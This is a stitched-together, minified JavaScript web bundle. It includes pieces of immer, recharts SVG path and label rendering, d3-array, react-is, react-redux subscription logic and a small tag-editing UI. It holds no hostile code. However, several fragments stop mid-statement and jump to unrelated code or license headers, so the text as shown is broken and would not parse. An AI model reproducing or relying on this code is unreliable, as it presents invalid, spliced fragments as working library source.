o=i[s],l=r[o];l.writable===!1&&(l.writable=!0,l.configurable=!0),(l.get||l.set)&&(r[o]={configurable:!0,writable:!0,enumerable:l.enumerable,value:e[o]})}return Object.create(Uo(e),r)}else{const r=Uo(e);if(r!==null&&n)return{...e};const i=Object.create(r);return Object.assign(i,e)}}function n0(e,t=!1){return Kd(e)||us(e)||!ma(e)||(Vd(e)>1&&Object.defineProperties(e,{set:Yl,add:Yl,clear:Yl,delete:Yl}),Object.freeze(e),t&&Object.values(e).forEach(n=>n0(n,!0))),e}function lM(){Vn(2)}var Yl={value:lM};function Kd(e){return e===null||typeof e!="object"?!0:Object.isFrozen(e)}var cM={};function pa(e){const t=cM[e];return t||Vn(0,e),t}var Vo;function Ek(){return Vo}function uM(e,t){return{drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0}}function Hy(e,t){t&&(pa("Patches"),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}
|
|||
|
|
`,",",""])),p[1],p[1],d,e+n,t+c*p[1])),f+=tt(p1||(p1=tr(["L ",",",""])),e+n,t+r-c*p[2]),p[2]>0&&(f+=tt(h1||(h1=tr(["A ",",",",0,0,",`,
|
|||
|
|
`,",",""])),p[2],p[2],d,e+n-u*p[2],t+r)),f+=tt(x1||(x1=tr(["L ",",",""])),e+u*p[3],t+r),p[3]>0&&(f+=tt(v1||(v1=tr(["A ",",",",0,0,",`,
|
|||
|
|
`,",",""])),p[3],p[3],d,e,t+r-c*p[3])),f+="Z"}else if(l>0&&i===+i&&i>0){var v=Math.min(l,i);f=tt(g1||(g1=tr(["M ",",",`
|
|||
|
|
A `,",",",0,0,",",",",",`
|
|||
|
|
L `,",",`
|
|||
|
|
A `,",",",0,0,",",",",",`
|
|||
|
|
L `,",",`
|
|||
|
|
A `,",",",0,0,",",",",",`
|
|||
|
|
L `,",",`
|
|||
|
|
A `,",",",0,0,",",",","," Z"])),e,t+c*v,v,v,d,e+u*v,t,e+n-u*v,t,v,v,d,e+n,t+c*v,e+n,t+r-c*v,v,v,d,e+n-u*v,t+r,e+u*v,t+r,v,v,d,e,t+r-c*v)}else f=tt(y1||(y1=tr(["M ",","," h "," v "," h "," Z"])),e,t,n,r,-n);return f},k1={x:0,y:0,width:0,height:0,radius:0,isAnimationActive:!1,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},Fk=e=>{var t=gn(e,k1),n=m.useRef(null),[r,i]=m.useState(-1);m.useEffect(()=>{if(n.current&&n.current.getTotalLength)try{var _=n.current.getTotalLength();_&&i(_)}catch{}},[]);var{x:s,y:o,width:l,height:c,radius:u,className:d}=t,{animationEasing:f,animationDuration:p,animationBegin:h,isAnimationActive:x,isUpdateAnimationActive:g}=t,y=m.useRef(l),v=m.useRef(c),b=m.useRef(s),w=m.useRef(o),j=m.useMemo(()=>({x:s,y:o,width:l,height:c,radius:u}),[s,o,l,c,u]),N=qd(j,"rectangle-");if(s!==+s||o!==+o||l!==+l||c!==+c||l===0||c===0)return null;var k=Qe("recharts-rectangle",d);if(!g){var z=Ut(t),{radius:S}=z,O=j1(z,x8);return m.createElement("path",Nu({},O,{x:ui(s),y:ui(o),width:ui(l),height:ui(c),radius:typeof u=="number"?u:void 0,className:k,d:N1(s,o,l,c,u)}))}var A=y.current,T=v.current,P=b.current,D=w.current,G="0px ".concat(r===-1?1:r,"px"),R="".concat(r,"px 0px"),K=Dk(["strokeDasharray"],p,typeof f=="string"?f:k1.animationEasing);return m.createElement(Yd,{animationId:N,key:N,canBegin:r>0,duration:p,easing:f,isActive:g,begin:h},_=>{var M=At(A,l,_),F=At(T,c,_),U=At(P,s,_),V=At(D,o,_);n.current&&(y.current=M,v.current=F,b.current=U,w.current=V);var Z;x?_>0?Z={transition:K,strokeDasharray:R}:Z={strokeDasharray:G}:Z={strokeDasharray:R};var ae=Ut(t),{radius:ue}=ae,be=j1(ae,v8);return m.createElement("path",Nu({},be,{radius:typeof u=="number"?u:void 0,className:k,d:N1(U,V,M,F,u),ref:n,style:w1(w1({},Z),t.style)}))})};function z1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function S1(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?z1(Object(n),!0).forEach(function(r){j8(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):z1(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function j8(e,t,n){return(t=N8(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function N8(e){var t=k8(e,"string");return typeof t=="symbol"?t:t+""}function k8(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var ku=Math.PI/180,z8=e=>e*180/Math.PI,dt=(e,t,n,r)=>({x:e+Math.cos(-ku*r)*n,y:t+Math.sin(-ku*r)*n}),Wk=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{top:0,right:0,bottom:0,left:0};return Math.min(Math.abs(t-(r.left||0)-(r.right||0)),Math.abs(n-(r.top||0)-(r.bottom||0)))/2},S8=(e,t)=>{var{x:n,y:r}=e,{x:i,y:s}=t;return Math.sqrt((n-i)**2+(r-s)**2)},C8=(e,t)=>{var{x:n,y:r}=e,{cx:i,cy:s}=t,o=S8({x:n,y:r},{x:i,y:s});if(o<=0)return{radius:o,angle:0};var l=(n-i)/o,c=Math.acos(l);return r>s&&(c=2*Math.PI-c),{radius:o,angle:z8(c),angleInRadian:c}},P8=e=>{var{startAngle:t,endAngle:n}=e,r=Math.floor(t/360),i=Math.floor(n/360),s=Math.min(r,i);return{startAngle:t-s*360,endAngle:n-s*360}},E8=(e,t)=>{var{startAngle:n,endAngle:r}=t,i=Math.floor(n/360),s=Math.floor(r/360),o=Math.min(i,s);return e+o*360},_8=(e,t)=>{var{chartX:n,chartY:r}=e,{radius:i,angle:s}=C8({x:n,y:r},t),{innerRadius:o,outerRadius:l}=t;if(i<o||i>l||i===0)return null;var{startAngle:c,endAngle:u}=P8(t),d=s,f;if(c<=u){for(;d>u;)d-=360;for(;d<c;)d+=360;f=d>=c&&d<=u}else{for(;d>c;)d-=360;for(;d<u;)d+=360;f=d>=u&&d<=c}return f?S1(S1({},t),{},{radius:i,angle:E8(d,t)}):null};function Uk(e){var{cx:t,cy:n,radius:r,startAngle:i,endAngle:s}=e,o=dt(t,n,r,i),l=dt(t,n,r,s);return{poi
|
|||
|
|
A `,",",`,0,
|
|||
|
|
`,",",`,
|
|||
|
|
`,",",`
|
|||
|
|
`])),u.x,u.y,i,i,+(Math.abs(l)>180),+(s>c),d.x,d.y);if(r>0){var p=dt(t,n,r,s),h=dt(t,n,r,c);f+=tt(P1||(P1=Yi(["L ",",",`
|
|||
|
|
A `,",",`,0,
|
|||
|
|
`,",",`,
|
|||
|
|
`,","," Z"])),h.x,h.y,r,r,+(Math.abs(l)>180),+(s<=c),p.x,p.y)}else f+=tt(E1||(E1=Yi(["L ",","," Z"])),t,n);return f},O8=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,cornerRadius:s,forceCornerRadius:o,cornerIsExternal:l,startAngle:c,endAngle:u}=e,d=qt(u-c),{circleTangency:f,lineTangency:p,theta:h}=Xl({cx:t,cy:n,radius:i,angle:c,sign:d,cornerRadius:s,cornerIsExternal:l}),{circleTangency:x,lineTangency:g,theta:y}=Xl({cx:t,cy:n,radius:i,angle:u,sign:-d,cornerRadius:s,cornerIsExternal:l}),v=l?Math.abs(c-u):Math.abs(c-u)-h-y;if(v<0)return o?tt(_1||(_1=Yi(["M ",",",`
|
|||
|
|
a`,",",",0,0,1,",`,0
|
|||
|
|
a`,",",",0,0,1,",`,0
|
|||
|
|
`])),p.x,p.y,s,s,s*2,s,s,-s*2):Vk({cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:c,endAngle:u});var b=tt(A1||(A1=Yi(["M ",",",`
|
|||
|
|
A`,",",",0,0,",",",",",`
|
|||
|
|
A`,",",",0,",",",",",",",`
|
|||
|
|
A`,",",",0,0,",",",",",`
|
|||
|
|
`])),p.x,p.y,s,s,+(d<0),f.x,f.y,i,i,+(v>180),+(d<0),x.x,x.y,s,s,+(d<0),g.x,g.y);if(r>0){var{circleTangency:w,lineTangency:j,theta:N}=Xl({cx:t,cy:n,radius:r,angle:c,sign:d,isExternal:!0,cornerRadius:s,cornerIsExternal:l}),{circleTangency:k,lineTangency:z,theta:S}=Xl({cx:t,cy:n,radius:r,angle:u,sign:-d,isExternal:!0,cornerRadius:s,cornerIsExternal:l}),O=l?Math.abs(c-u):Math.abs(c-u)-N-S;if(O<0&&s===0)return"".concat(b,"L").concat(t,",").concat(n,"Z");b+=tt(O1||(O1=Yi(["L",",",`
|
|||
|
|
A`,",",",0,0,",",",",",`
|
|||
|
|
A`,",",",0,",",",",",",",`
|
|||
|
|
A`,",",",0,0,",",",",","Z"])),z.x,z.y,s,s,+(d<0),k.x,k.y,r,r,+(O>180),+(d>0),w.x,w.y,s,s,+(d<0),j.x,j.y)}else b+=tt(T1||(T1=Yi(["L",",","Z"])),t,n);return b},T8={cx:0,cy:0,innerRadius:0,outerRadius:0,startAngle:0,endAngle:0,cornerRadius:0,forceCornerRadius:!1,cornerIsExternal:!1},Hk=e=>{var t=gn(e,T8),{cx:n,cy:r,innerRadius:i,outerRadius:s,cornerRadius:o,forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d,className:f}=t;if(s<i||u===d)return null;var p=Qe("recharts-sector",f),h=s-i,x=fn(o,h,0,!0),g;return x>0&&Math.abs(u-d)<360?g=O8({cx:n,cy:r,innerRadius:i,outerRadius:s,cornerRadius:Math.min(x,h/2),forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d}):g=Vk({cx:n,cy:r,innerRadius:i,outerRadius:s,startAngle:u,endAngle:d}),m.createElement("path",uh({},Ut(t),{className:p,d:g}))};function M8(e,t,n){if(e==="horizontal")return[{x:t.x,y:n.top},{x:t.x,y:n.top+n.height}];if(e==="vertical")return[{x:n.left,y:t.y},{x:n.left+n.width,y:t.y}];if(uN(t)){if(e==="centric"){var{cx:r,cy:i,innerRadius:s,outerRadius:o,angle:l}=t,c=dt(r,i,s,l),u=dt(r,i,o,l);return[{x:c.x,y:c.y},{x:u.x,y:u.y}]}return Uk(t)}}var Kk={},Gk={},Yk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Kx;function n(r){return t.isSymbol(r)?NaN:Number(r)}e.toNumber=n})(Yk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Yk;function n(r){return r?(r=t.toNumber(r),r===1/0||r===-1/0?(r<0?-1:1)*Number.MAX_VALUE:r===r?r:0):r===0?r:0}e.toFinite=n})(Gk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Gx,n=Gk;function r(i,s,o){o&&typeof o!="number"&&t.isIterateeCall(i,s,o)&&(s=o=void 0),i=n.toFinite(i),s===void 0?(s=i,i=0):s=n.toFinite(s),o=o===void 0?i<s?1:-1:n.toFinite(o);const l=Math.max(Math.ceil((s-i)/(o||1)),0),c=new Array(l);for(let u=0;u<l;u++)c[u]=i,i+=o;return c}e.range=r})(Kk);var L8=Kk.range;const qk=Wr(L8);function wi(e,t){return e==null||t==null?NaN:e<t?-1:e>t?1:e>=t?0:NaN}function I8(e,t){return e==null||t==null?NaN:t<e?-1:t>e?1:t>=e?0:NaN}function i0(e){let t,n,r;e.length!==2?(t=wi,n=(l,c)=>wi(e(l),c),r=(l,c)=>e(l)-c):(t=e===wi||e===I8?e:D8,n=e,r=e);function i(l,c,u=0,d=l.length){if(u<d){if(t(c,c)!==0)return d;do{const f=u+d>>>1;n(l[f],c)<0?u=f+1:d=f}while(u<d)}return u}function s(l,c,u=0,d=l.length){if(u<d){if(t(c,c)!==0)return d;do{const f=u+d>>>1;n(l[f],c)<=0?u=f+1:d=f}while(u<d)}return u}function o(l,c,u=0,d=l.length){const f=i(l,c,u,d-1);return f>u&&r(l[f-1],c)>-r(l[f],c)?f-1:f}return{left:i,center:o,right:s}}function D8(){return 0}function Xk(e){return e===null?NaN:+e}function*R8(e,t){for(let n of e)n!=null&&(n=+n)>=n&&(yield n)}const $8=i0(wi),fl=$8.right;i0(Xk).center;class M1 extends Map{constructor(t,n=W8){if(super(),Object.defineProperties(this,{_intern:{value:new Map},_key:{value:n}}),t!=null)for(const[r,i]of t)this.set(r,i)}get(t){return super.get(L1(this,t))}has(t){return super.has(L1(this,t))}set(t,n){return super.set(B8(this,t),n)}delete(t){return super.delete(F8(this,t))}}function L1({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):n}function B8({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):(e.set(r,n),n)}function F8({_intern:e,_key:t},n){const r=t(n);return e.has(r)&&(n=e.get(r),e.delete(r)),n}function W8(e){return e!==null&&typeof e=="object"?e.valueOf():e}function U8(e=wi){if(e===wi)return Zk;if(typeof e!="function")throw new TypeError("compare is not a function");return(t,n)=>{const r=e(t,n);return r||r===0?r:(e(n,n)===0)-(e(t,t)===0)}}function Zk(e,t){return(e==null||!(e>=e))-(t==null||!(t>=t))||(e<t?-1:e>t?1:0)}const V8=Math.sqrt(50),H8=Math.sqrt(10),K8=Math.sqrt(2);function zu(e,t,n){const r=(t-e)/Math.max(0,n),i=Math.floor(Math.log10(r)),s=r/Math.pow(10,i),o=s>=V8?10:s>=H8?5:s>=K8?2:1;let l,c,u;return i<0?(u=Math.pow(10,-i)/o,l=Math.round(e*u),c=Math.round(t*u),l/u<e&&++l,c/u>t&&--c,u=-u):(u=Math.pow(10,i)*o,l=Math.round(e/u),c=Math.round(t/u),l*u<e&&++l,c*u>t&&--c),c<l&&.5<=n&&n<2?zu(e,t,n*2):[l,c,u]}function dh(e,t,n){if(t=+t,e=+e,n=+n,!(n>0))return[];if(e===t)return[e];const r=t<e,[i
|
|||
|
|
A`).concat(x,",").concat(x,",0,1,").concat(b?0:1,`,
|
|||
|
|
`).concat(j.x,",").concat(j.y),k=Mt(e.id)?$o("recharts-radial-line-"):e.id;return m.createElement("text",Bu({},r,{dominantBaseline:"central",className:Qe("recharts-radial-bar-label",o)}),m.createElement("defs",null,m.createElement("path",{id:k,d:N})),m.createElement("textPath",{xlinkHref:"#".concat(k)},n))},A$=(e,t,n)=>{var{cx:r,cy:i,innerRadius:s,outerRadius:o,startAngle:l,endAngle:c}=e,u=(l+c)/2;if(n==="outside"){var{x:d,y:f}=dt(r,i,o+t,u);return{x:d,y:f,textAnchor:d>=r?"start":"end",verticalAnchor:"middle"}}if(n==="center")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"middle"};if(n==="centerTop")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"start"};if(n==="centerBottom")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"end"};var p=(s+o)/2,{x:h,y:x}=dt(r,i,p,u);return{x:h,y:x,textAnchor:"middle",verticalAnchor:"middle"}},Sc=e=>e!=null&&"cx"in e&&ge(e.cx),O$={angle:0,offset:5,zIndex:Zt.label,position:"middle",textBreakAll:!1};function T$(e){if(!Sc(e))return e;var{cx:t,cy:n,outerRadius:r}=e,i=r*2;return{x:t-r,y:n-r,width:i,upperWidth:i,lowerWidth:i,height:i}}function cz(e){var t=gn(e,O$),{viewBox:n,parentViewBox:r,position:i,value:s,children:o,content:l,className:c="",textBreakAll:u,labelRef:d}=t,f=S$(),p=k$(),h=i==="center"?p:f??p,x,g,y;n==null?x=h:Sc(n)?x=n:x=t0(n);var v=T$(x);if(!x||Mt(s)&&Mt(o)&&!m.isValidElement(l)&&typeof l!="function")return null;var b=nc(nc({},t),{},{viewBox:x});if(m.isValidElement(l)){var{labelRef:w}=b,j=tb(b,v$);return m.cloneElement(l,j)}if(typeof l=="function"){var{content:N}=b,k=tb(b,g$);if(g=m.createElement(l,k),m.isValidElement(g))return g}else g=C$(t);var z=Ut(t);if(Sc(x)){if(i==="insideStart"||i==="insideEnd"||i==="end")return _$(t,i,g,z,x);y=A$(x,t.offset,t.position)}else{if(!v)return null;var S=x$({viewBox:v,position:i,offset:t.offset,parentViewBox:Sc(r)?void 0:r});y=nc(nc({x:S.x,y:S.y,textAnchor:S.horizontalAnchor,verticalAnchor:S.verticalAnchor},S.width!==void 0?{width:S.width}:{}),S.height!==void 0?{height:S.height}:{})}return m.createElement(Mi,{zIndex:t.zIndex},m.createElement(mv,Bu({ref:d,className:Qe("recharts-label",c)},z,y,{textAnchor:l$(z.textAnchor)?z.textAnchor:y.textAnchor,breakAll:u}),g))}cz.displayName="Label";var uz={},dz={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n[n.length-1]}e.last=t})(dz);var fz={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Array.isArray(n)?n:Array.from(n)}e.toArray=t})(fz);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=dz,n=fz,r=zd;function i(s){if(r.isArrayLike(s))return t.last(n.toArray(s))}e.last=i})(uz);var M$=uz.last;const L$=Wr(M$);var I$=["valueAccessor"],D$=["dataKey","clockWise","id","textBreakAll","zIndex"];function Fu(){return Fu=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Fu.apply(null,arguments)}function rb(e,t){if(e==null)return{};var n,r,i=R$(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r<s.length;r++)n=s[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function R$(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}var $$=e=>Array.isArray(e.value)?L$(e.value):e.value,mz=m.createContext(void 0),B$=mz.Provider,pz=m.createContext(void 0),F$=pz.Provider;function W$(){return m.useContext(mz)}function U$(){return m.useContext(pz)}function Cc(e){var{valueAccessor:t=$$}=e,n=rb(e,I$),{dataKey:r,clockWise:i,id:s,textBreakAll:o,zIndex:l}=n,c=rb(n,D$),u=W$(),d=U$(),f=u||d;return!f||!f.length?null:m.createElement(Mi,{zIndex:l??Zt.label},m.createElement(tn,{className:"recharts-label-list"},f.map((p,h)=>{var x,g=Mt(r)?t(p,h):Ve(p.payload,r),y=Mt(s)?{}:{id:"".concat(s,"-").concat(h)};return m.createElement(cz,Fu({key:"label-".concat(h)},Ut(p),c,y,{fill:(x=n.fill)!==null&&x!==void 0?x:p.fill,parentViewBox:p.parentViewBox,value:
|
|||
|
|
* @license React
|
|||
|
|
* react-is.production.js
|
|||
|
|
*
|
|||
|
|
* Copyright (c) Meta Platforms, Inc. and affiliates.
|
|||
|
|
*
|
|||
|
|
* This source code is licensed under the MIT license found in the
|
|||
|
|
* LICENSE file in the root directory of this source tree.
|
|||
|
|
*/var xv=Symbol.for("react.transitional.element"),vv=Symbol.for("react.portal"),xf=Symbol.for("react.fragment"),vf=Symbol.for("react.strict_mode"),gf=Symbol.for("react.profiler"),yf=Symbol.for("react.consumer"),bf=Symbol.for("react.context"),wf=Symbol.for("react.forward_ref"),jf=Symbol.for("react.suspense"),Nf=Symbol.for("react.suspense_list"),kf=Symbol.for("react.memo"),zf=Symbol.for("react.lazy"),oB=Symbol.for("react.view_transition"),lB=Symbol.for("react.client.reference");function Ln(e){if(typeof e=="object"&&e!==null){var t=e.$$typeof;switch(t){case xv:switch(e=e.type,e){case xf:case gf:case vf:case jf:case Nf:case oB:return e;default:switch(e=e&&e.$$typeof,e){case bf:case wf:case zf:case kf:return e;case yf:return e;default:return t}}case vv:return t}}}Re.ContextConsumer=yf;Re.ContextProvider=bf;Re.Element=xv;Re.ForwardRef=wf;Re.Fragment=xf;Re.Lazy=zf;Re.Memo=kf;Re.Portal=vv;Re.Profiler=gf;Re.StrictMode=vf;Re.Suspense=jf;Re.SuspenseList=Nf;Re.isContextConsumer=function(e){return Ln(e)===yf};Re.isContextProvider=function(e){return Ln(e)===bf};Re.isElement=function(e){return typeof e=="object"&&e!==null&&e.$$typeof===xv};Re.isForwardRef=function(e){return Ln(e)===wf};Re.isFragment=function(e){return Ln(e)===xf};Re.isLazy=function(e){return Ln(e)===zf};Re.isMemo=function(e){return Ln(e)===kf};Re.isPortal=function(e){return Ln(e)===vv};Re.isProfiler=function(e){return Ln(e)===gf};Re.isStrictMode=function(e){return Ln(e)===vf};Re.isSuspense=function(e){return Ln(e)===jf};Re.isSuspenseList=function(e){return Ln(e)===Nf};Re.isValidElementType=function(e){return typeof e=="string"||typeof e=="function"||e===xf||e===gf||e===vf||e===jf||e===Nf||typeof e=="object"&&e!==null&&(e.$$typeof===zf||e.$$typeof===kf||e.$$typeof===bf||e.$$typeof===yf||e.$$typeof===wf||e.$$typeof===lB||e.getModuleId!==void 0)};Re.typeOf=Ln;wz.exports=Re;var cB=wz.exports,ob=e=>typeof e=="string"?e:e?e.displayName||e.name||"Component":"",lb=null,km=null,jz=e=>{if(e===lb&&Array.isArray(km))return km;var t=[];return m.Children.forEach(e,n=>{Mt(n)||(cB.isFragment(n)?t=t.concat(jz(n.props.children)):t.push(n))}),km=t,lb=e,t};function Nz(e,t){var n=[],r=[];return Array.isArray(t)?r=t.map(i=>ob(i)):r=[ob(t)],jz(e).forEach(i=>{var s=Ro(i,"type.displayName")||Ro(i,"type.name");s&&r.indexOf(s)!==-1&&n.push(i)}),n}var kz=e=>e&&typeof e=="object"&&"clipDot"in e?!!e.clipDot:!0,zz={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){var i;if(typeof n!="object"||n==null)return!1;if(Object.getPrototypeOf(n)===null)return!0;if(Object.prototype.toString.call(n)!=="[object Object]"){const s=n[Symbol.toStringTag];return s==null||!((i=Object.getOwnPropertyDescriptor(n,Symbol.toStringTag))!=null&&i.writable)?!1:n.toString()===`[object ${s}]`}let r=n;for(;Object.getPrototypeOf(r)!==null;)r=Object.getPrototypeOf(r);return Object.getPrototypeOf(n)===r}e.isPlainObject=t})(zz);var uB=zz.isPlainObject;const dB=Wr(uB);var cb,ub,db,fb,mb;function pb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function hb(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?pb(Object(n),!0).forEach(function(r){fB(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):pb(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function fB(e,t,n){return(t=mB(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function mB(e){var t=pB(e,"string");return typeof t=="symbol"?t:t+""}function pB(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function Wu(){return Wu=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++)
|
|||
|
|
* @license React
|
|||
|
|
* use-sync-external-store-with-selector.production.js
|
|||
|
|
*
|
|||
|
|
* Copyright (c) Meta Platforms, Inc. and affiliates.
|
|||
|
|
*
|
|||
|
|
* This source code is licensed under the MIT license found in the
|
|||
|
|
* LICENSE file in the root directory of this source tree.
|
|||
|
|
*/var Nl=m;function GF(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var YF=typeof Object.is=="function"?Object.is:GF,qF=Nl.useSyncExternalStore,XF=Nl.useRef,ZF=Nl.useEffect,QF=Nl.useMemo,JF=Nl.useDebugValue;KF.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var s=XF(null);if(s.current===null){var o={hasValue:!1,value:null};s.current=o}else o=s.current;s=QF(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,YF(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,p=n===void 0?null:n;return[function(){return c(t())},p===null?void 0:function(){return c(p())}]},[t,n,r,i]);var l=qF(e,s[0],s[1]);return ZF(function(){o.hasValue=!0,o.value=l},[l]),JF(l),l};function eW(e){e()}function tW(){let e=null,t=null;return{clear(){e=null,t=null},notify(){eW(()=>{let n=e;for(;n;)n.callback(),n=n.next})},get(){const n=[];let r=e;for(;r;)n.push(r),r=r.next;return n},subscribe(n){let r=!0;const i=t={callback:n,next:null,prev:t};return i.prev?i.prev.next=i:e=i,function(){!r||e===null||(r=!1,i.next?i.next.prev=i.prev:t=i.prev,i.prev?i.prev.next=i.next:e=i.next)}}}}var Sb={notify(){},get:()=>[]};function nW(e,t){let n,r=Sb,i=0,s=!1;function o(g){d();const y=r.subscribe(g);let v=!1;return()=>{v||(v=!0,y(),f())}}function l(){r.notify()}function c(){x.onStateChange&&x.onStateChange()}function u(){return s}function d(){i++,n||(n=e.subscribe(c),r=tW())}function f(){i--,n&&i===0&&(n(),n=void 0,r.clear(),r=Sb)}function p(){s||(s=!0,d())}function h(){s&&(s=!1,f())}const x={addNestedSub:o,notifyNestedSubs:l,handleChangeWrapper:c,isSubscribed:u,trySubscribe:p,tryUnsubscribe:h,getListeners:()=>r};return x}var rW=()=>typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",iW=rW(),aW=()=>typeof navigator<"u"&&navigator.product==="ReactNative",sW=aW(),oW=()=>iW||sW?m.useLayoutEffect:m.useEffect,lW=oW();function Cb(e,t){return e===t?e!==0||t!==0||1/e===1/t:e!==e&&t!==t}function cW(e,t){if(Cb(e,t))return!0;if(typeof e!="object"||e===null||typeof t!="object"||t===null)return!1;const n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(let i=0;i<n.length;i++)if(!Object.prototype.hasOwnProperty.call(t,n[i])||!Cb(e[n[i]],t[n[i]]))return!1;return!0}var Pm=Symbol.for("react-redux-context"),Em=typeof globalThis<"u"?globalThis:{};function uW(){if(!m.createContext)return{};const e=Em[Pm]??(Em[Pm]=new Map);let t=e.get(m.createContext);return t||(t=m.createContext(null),e.set(m.createContext,t)),t}var dW=uW();function fW(e){const{children:t,context:n,serverState:r,store:i}=e,s=m.useMemo(()=>{const c=nW(i);return{store:i,subscription:c,getServerState:r?()=>r:void 0}},[i,r]),o=m.useMemo(()=>i.getState(),[i]);lW(()=>{const{subscription:c}=s;return c.onStateChange=c.notifyNestedSubs,c.trySubscribe(),o!==i.getState()&&c.notifyNestedSubs(),()=>{c.tryUnsubscribe(),c.onStateChange=void 0}},[s,o]);const l=n||dW;return m.createElement(l.Provider,{value:s},t)}var mW=fW,pW=new Set(["axisLine","tickLine","activeBar","activeDot","activeLabel","activeShape","allowEscapeViewBox","background","cursor","dot","label","line","margin","padding","position","shape","style","tick","wrapperStyle","radius"]);function hW(e,t){return e==null&&t==null?!0:typeof e=="number"&&typeof t=="number"?e===t||e!==e&&t!==t:e===t}function Dz(e,t){var n=new Set([...Object.keys(e),...Object.keys(t)]);for(var r of n)if(pW.has(r)){if(e[r]==null&&t[r]==null)continue;if(!cW(e[r],t[r]))return!1}else if(!hW(e[r],t[r]))return!1;return!0}function yv(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.xAxisId)!==null&&n!==void 0?n:_z}function bv(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.yAxisId)!==null&&n!==void 0?n:_z}var Rz=(e,t,n)=>w3(e,"xAxis",yv(e,t),n),$z=(e,t,n)=>b3(e,"xAxis",yv(e,t),n),Bz=(e,t,n)=>w3(e,"yAxis",bv(e,t),n),Fz=(e,t,n)=>b3(e,"yAxis",bv(e,t),n),xW=I([De,Rz,Bz,$z,Fz],(e,t,n,r,i)=>vr(e,"xAxis")?xu(t,r,!1):xu(n,i,!1)),vW=(e,t)=>t
|
|||
|
|
bg-zerin-panel-hover text-zerin-text-dim border border-zerin-panel-border`,children:[f,!n&&a.jsx("button",{onClick:()=>u(f),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors ml-0.5",children:a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]},f)),!n&&a.jsx(a.Fragment,{children:s?a.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),onKeyDown:d,onBlur:()=>{r.trim()?c():o(!1)},autoFocus:!0,placeholder:"tag name",className:`w-20 bg-zerin-bg border border-zerin-panel-border px-1.5 py-0.5\r
|
|||
|
|
text-xs text-zerin-text placeholder-zerin-text-muted\r
|
|||
|
|
